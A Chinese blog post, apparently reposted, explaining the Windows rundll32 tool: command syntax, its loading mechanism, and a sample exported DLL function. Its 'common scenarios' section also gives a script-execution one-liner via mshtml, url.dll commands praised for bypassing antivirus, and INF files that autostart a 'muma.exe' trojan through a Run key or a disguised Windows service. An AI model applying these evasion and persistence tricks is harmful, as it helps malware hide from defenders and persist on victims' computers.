【系统工具】Rundll32:Windows系统中的神奇工具,你知道吗?

【系统工具】Rundll32:Windows系统中的神奇工具,你知道吗?Rundll32 是 Windows 操作系统中非常有用的一个工具 它可以用来加载 DLL 文件中的函数 还可以用来修复 Windows 系统中的一些问题

大家好,欢迎来到IT知识分享网。

🛫 问题

描述

Rundll32是什么?如何使用它来修复Windows系统问题?

环境

版本号 描述
文章日期 2023-05-29
操作系统 Win11 – 21H2 – 22000.1335

1️⃣ Rundll32的使用

Rundll32是Windows操作系统中的一个系统文件,它的主要作用是加载动态链接库(DLL)文件中的函数
在Windows操作系统中,许多程序都是使用DLL文件来实现某些功能的,例如打印、网络连接等等。当用户启动一个程序时,程序会调用相应的DLL文件中的函数来完成相应的任务。而Rundll32就是负责加载这些DLL文件中的函数的。

使用方法 – cmd

  1. 打开命令提示符
    在Windows操作系统中,可以通过按下Win+R键打开运行窗口,然后输入cmd命令来打开命令提示符。
  1. 在命令提示符中输入以下命令:
    rundll32.exe shell32.dll,Control_RunDLL

函数调用格式:rundll32.exe [dll文件名],[函数名] [Arguments]
其中,[dll文件名]是需要加载的DLL文件的文件名,[函数名]是需要调用的函数的名称, [Arguments]是参数,一个字符串。

  1. 输入完命令后,按下回车键即可运行命令。如果命令执行成功,会弹出相应的对话框或者执行相应的操作。
  1. 最终效果如下图:
    在这里插入图片描述

使用方法 – 运行窗口/任务管理器/资源管理器

上小节中,我们使用了cmd方式,但是当我们执行直接带窗口的对话框时,会发现执行命令后,没有任何反应。比如MessageBoxA函数。
完整命令为:rundll32.exe user32.dll,MessageBoxA kkk,111,0,0

  1. 运行窗口(系统快捷键Win+R
    在这里插入图片描述
  2. 任务管理器 > 运行新任务
    在这里插入图片描述
    在这里插入图片描述

  3. 资源管理器
    资源管理器的路径栏中输入命令并执行回车。
    在这里插入图片描述

2️⃣ 常见应用场景

运行js或vbs的脚本代码

rundll32 javascript:"\..\mshtml,RunHTMLApplication ";window.execScript("msgbox('a')","vbs");window.close()
运行窗口中执行上面命令,程序执行下面操作

  • 弹出对话框。(msgbox)
  • 显示窗口3。
  • 关闭窗口3。(window.close())
    在这里插入图片描述

执行命令绕过杀毒软件的作法?

执行url.dll的OpenURLFileProtocolHandler函数。
这是经过反汇编分析url.dll得出的结果,请记住这3条命令,活学活用,这是干货。上边的三条命令都可以绕开我本机的火绒。你可以多分析system32下的dll,说不定你还有惊喜。

rundll32.exe url.dll, OpenURL file://c:\windows\system32\calc.exe rundll32.exe url.dll, OpenURLA file://c:\windows\system32\calc.exe rundll32.exe url.dll, FileProtocolHandler calc.exe 

ps: 可能失效了

修改注册表

[Version] Signature="$WINDOWS NT$" [DefaultInstall] AddReg=My_AddReg_Name DelReg=My_DelReg_Name [My_AddReg_Name] HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun,0x00000000,c:/muma.exe 

增加一个服务

[Version] Signature="$WINDOWS NT$" [DefaultInstall.Services] AddService=inetsvr,,My_AddService_Name [My_AddService_Name] DisplayName=Windows Internet Service Description=提供对 Internet 信息服务管理的支持。 ServiceType=0x10 StartType=2 ErrorControl=0 ServiceBinary=%11%\muma.exe 

修复Internet Explorer

其它常见命令

这个不多说了,系统中提供了各种dll,这些dll可以实现各种功能,具体参考文章《打开控制面板DOS命令和RUNDLL32使用大全 【系统工具】Rundll32:Windows系统中的神奇工具,你知道吗?》。

ps: 需要注意的是,不同系统中命令的运行结果是不一样的。

3️⃣ 原理及使用

原理

    1. 通过LoadLibraryEx加载该DLL,此时会调用DllMain,且第二参数是DLL_PROCESS_ATTACH。
    1. 通过GetProcAddress获得指定的导出函数地址。
    1. 1 函数地址存在,传参并调用函数。
    1. 2 函数地址不存在,通过LoadStringW获得资源ID为400的字符串(“%s 出错\n丢失条目: %s”);然后格式化弹窗字符串
      在这里插入图片描述
    1. 点击确定后rundll32会通过FreeLibrary卸载该DLL。
    1. 最后rundll32通过ExitProcess结束自身进程。

编程实现

通过原理我们已经了解,编写一个dll,并导出一个函数即可通过rundll32.exe调用。
导出函数格式:void FuncName(HWND hWnd, HINSTANCE hInst, LPCSTR pCommand, DWORD nCmdShow);
示例代码如下:
代码地址为(https://gitcode.net/yemao/kernel-win/MyOpen)下的MyOpen\course\WinDriver\tools\tools\dllmain.cpp文件中。


extern "C" { // CALLBACK __declspec(dllexport) void Foo(HWND hWindow, HINSTANCE hInstance, LPSTR lpszCommandLine, int nCmdShow) { if (strlen(lpszCommandLine) != 0) { ::MessageBoxA(hWindow, lpszCommandLine, "我是标题", MB_OK); } else { ::MessageBoxA(hWindow, "lpszCommandLine is NULL", "我是标题", MB_OK); } } } 

🛬 结论

📖 参考资料

  • rundll32.exe和regsvr32.exe 【系统工具】Rundll32:Windows系统中的神奇工具,你知道吗?
  • Rundll32.exe原理及使用, 参数传递问题解决方法(可用于批处理中) 【系统工具】Rundll32:Windows系统中的神奇工具,你知道吗?
  • 打开控制面板DOS命令和RUNDLL32使用大全 【系统工具】Rundll32:Windows系统中的神奇工具,你知道吗?

ps: 文章中内容仅用于技术交流,请勿用于违规违法行为。

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/122107.html

(0)
上一篇 2025-10-19 11:10
下一篇 2025-10-19 11:20

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信